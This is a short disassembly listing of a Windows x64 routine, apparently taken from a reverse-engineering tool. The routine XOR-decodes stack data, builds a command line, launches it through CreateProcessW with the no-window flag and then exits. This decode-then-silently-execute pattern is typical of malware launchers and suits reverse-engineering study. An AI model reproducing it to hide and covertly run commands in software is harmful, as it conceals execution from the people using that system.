vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea r9, [rbp + 0x990]
lea r8, [rbp + 0x80]
mov edx, 0x208
lea rcx, [rbp + 0xba0]
vzeroupper
call fcn.14008a830
lea rax, [rbp + 0x400]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x500]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xba0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3